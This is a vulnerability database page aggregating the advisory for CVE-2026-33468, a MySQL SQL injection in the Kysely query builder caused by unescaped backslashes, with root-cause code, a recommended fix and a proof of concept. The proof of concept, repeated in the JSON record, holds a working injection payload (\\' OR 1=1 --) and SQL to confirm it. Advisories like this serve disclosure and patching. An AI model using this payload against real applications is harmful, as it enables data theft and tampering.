Vulnerability-Lookup

CVE-2026-33468 (GCVE-0-2026-33468)

Vulnerability from cvelistv5 – Published: 2026-03-26 17:03 – Updated: 2026-03-26 19:52

Title

Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings

Summary

Kysely is a type-safe TypeScript SQL query builder. Prior to version 0.28.14, Kysely's `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`'` → `''`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values — specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`. Version 0.28.14 contains a fix.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-26 19:48 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/kysely-org/kysely/security/adv…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
kysely-org	kysely	Affected: < 0.28.14	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33468

Vulnerability from fkie_nvd - Published: 2026-03-26 17:16 - Updated: 2026-06-17 10:37

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kysely-org/kysely/security/advisories/GHSA-8cpq-38p9-67gx	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	kysely	kysely	*

JSON

To clipboard

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      "affectedData": [
        {
          "product": "kysely",
          "vendor": "kysely-org",
          "versions": [
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    },
    {
      "lang": "es",
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GHSA-8CPQ-38P9-67GX

Vulnerability from github – Published: 2026-03-20 20:48 – Updated: 2026-03-27 20:57

Summary

Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings

Details

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
appendStringLiteral wraps: '\'' OR 1=1 --'
MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.28.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:48:55Z",
    "nvd_published_at": "2026-03-26T17:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKysely\u0027s `DefaultQueryCompiler.sanitizeStringLiteral()` only escapes single quotes by doubling them (`\u0027` \u2192 `\u0027\u0027`) but does not escape backslashes. When used with the MySQL dialect (where `NO_BACKSLASH_ESCAPES` is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses `ImmediateValueTransformer` to inline values \u2014 specifically `CreateIndexBuilder.where()` and `CreateViewBuilder.as()`.\n\n## Details\n\nThe root cause is in `DefaultQueryCompiler.sanitizeStringLiteral()`:\n\n**`src/query-compiler/default-query-compiler.ts:1819-1821`**\n```typescript\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"\u0027\u0027\")\n}\n```\n\nWhere `LIT_WRAP_REGEX` is defined as `/\u0027/g` (line 121). This only doubles single quotes \u2014 it does not escape backslash characters.\n\nThe function is called from `appendStringLiteral()` which wraps the sanitized value in single quotes:\n\n**`src/query-compiler/default-query-compiler.ts:1841-1845`**\n```typescript\nprotected appendStringLiteral(value: string): void {\n  this.append(\"\u0027\")\n  this.append(this.sanitizeStringLiteral(value))\n  this.append(\"\u0027\")\n}\n```\n\nThis is reached when `visitValue()` encounters an immediate value node (line 525-527), which is created by `ImmediateValueTransformer` used in `CreateIndexBuilder.where()`:\n\n**`src/schema/create-index-builder.ts:266-278`**\n```typescript\nwhere(...args: any[]): any {\n  const transformer = new ImmediateValueTransformer()\n\n  return new CreateIndexBuilder({\n    ...this.#props,\n    node: QueryNode.cloneWithWhere(\n      this.#props.node,\n      transformer.transformNode(\n        parseValueBinaryOperationOrExpression(args),\n        this.#props.queryId,\n      ),\n    ),\n  })\n}\n```\n\nThe `MysqlQueryCompiler` (at `src/dialect/mysql/mysql-query-compiler.ts:6-75`) extends `DefaultQueryCompiler` but does **not** override `sanitizeStringLiteral`, inheriting the backslash-unaware implementation.\n\n**Exploitation mechanism:**\n\nIn MySQL with the default `NO_BACKSLASH_ESCAPES=OFF` setting, the backslash character (`\\`) acts as an escape character inside string literals. Given input `\\\u0027 OR 1=1 --`:\n\n1. `sanitizeStringLiteral` doubles the quote: `\\\u0027\u0027 OR 1=1 --`\n2. `appendStringLiteral` wraps: `\u0027\\\u0027\u0027 OR 1=1 --\u0027`\n3. MySQL interprets `\\\u0027` as an escaped (literal) single quote, so the string content is `\u0027` and the second `\u0027` closes the string\n4. ` OR 1=1 --` is parsed as SQL\n\n## PoC\n\n```typescript\nimport { Kysely, MysqlDialect } from \u0027kysely\u0027\nimport { createPool } from \u0027mysql2\u0027\n\ninterface Database {\n  orders: {\n    id: number\n    status: string\n    order_nr: string\n  }\n}\n\nconst db = new Kysely\u003cDatabase\u003e({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: \u0027localhost\u0027,\n      database: \u0027test\u0027,\n      user: \u0027root\u0027,\n      password: \u0027password\u0027,\n    }),\n  }),\n})\n\n// Simulates user-controlled input reaching CreateIndexBuilder.where()\nconst userInput = \"\\\\\u0027 OR 1=1 --\"\n\nconst query = db.schema\n  .createIndex(\u0027orders_status_index\u0027)\n  .on(\u0027orders\u0027)\n  .column(\u0027status\u0027)\n  .where(\u0027status\u0027, \u0027=\u0027, userInput)\n\n// Compile to see the generated SQL\nconst compiled = query.compile()\nconsole.log(compiled.sql)\n// Output: create index `orders_status_index` on `orders` (`status`) where `status` = \u0027\\\u0027\u0027 OR 1=1 --\u0027\n//\n// MySQL parses this as:\n//   WHERE `status` = \u0027\\\u0027   \u2190 string literal containing a single quote\n//   \u0027 OR 1=1 --\u0027          \u2190 injected SQL (OR 1=1), comment eats trailing quote\n```\n\nTo verify against a live MySQL instance:\n\n```sql\n-- Setup\nCREATE DATABASE test;\nUSE test;\nCREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));\nINSERT INTO orders VALUES (1, \u0027active\u0027, \u0027001\u0027), (2, \u0027cancelled\u0027, \u0027002\u0027);\n\n-- The compiled query from Kysely with injected payload:\n-- This returns all rows instead of filtering by status\nSELECT * FROM orders WHERE status = \u0027\\\u0027\u0027 OR 1=1 -- \u0027;\n```\n\n## Impact\n\n- **SQL Injection:** An attacker who controls values passed to `CreateIndexBuilder.where()` or `CreateViewBuilder.as()` can inject arbitrary SQL statements when the application uses the MySQL dialect.\n- **Data Exfiltration:** Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.\n- **Data Modification/Destruction:** Stacked queries or subqueries can modify or delete data.\n- **Authentication Bypass:** If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.\n\nThe attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The `CreateIndexBuilder.where()` docstring (line 247) notes \"Parameters are always sent as literals due to database restrictions\" without warning about the security implications.\n\n## Recommended Fix\n\n`MysqlQueryCompiler` should override `sanitizeStringLiteral` to escape backslashes before doubling quotes:\n\n**`src/dialect/mysql/mysql-query-compiler.ts`**\n```typescript\nconst LIT_WRAP_REGEX = /\u0027/g\nconst BACKSLASH_REGEX = /\\\\/g\n\nexport class MysqlQueryCompiler extends DefaultQueryCompiler {\n  // ... existing overrides ...\n\n  protected override sanitizeStringLiteral(value: string): string {\n    // Escape backslashes first (\\ \u2192 \\\\), then double single quotes (\u0027 \u2192 \u0027\u0027)\n    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)\n    return value.replace(BACKSLASH_REGEX, \u0027\\\\\\\\\u0027).replace(LIT_WRAP_REGEX, \"\u0027\u0027\")\n  }\n}\n```\n\nAlternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don\u0027t support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect\u0027s string literal syntax.",
  "id": "GHSA-8cpq-38p9-67gx",
  "modified": "2026-03-27T20:57:32Z",
  "published": "2026-03-20T20:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-8cpq-38p9-67gx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33468"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-33468 (GCVE-0-2026-33468)

FKIE_CVE-2026-33468

GHSA-8CPQ-38P9-67GX

Summary

Details

PoC

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Recommended Fix

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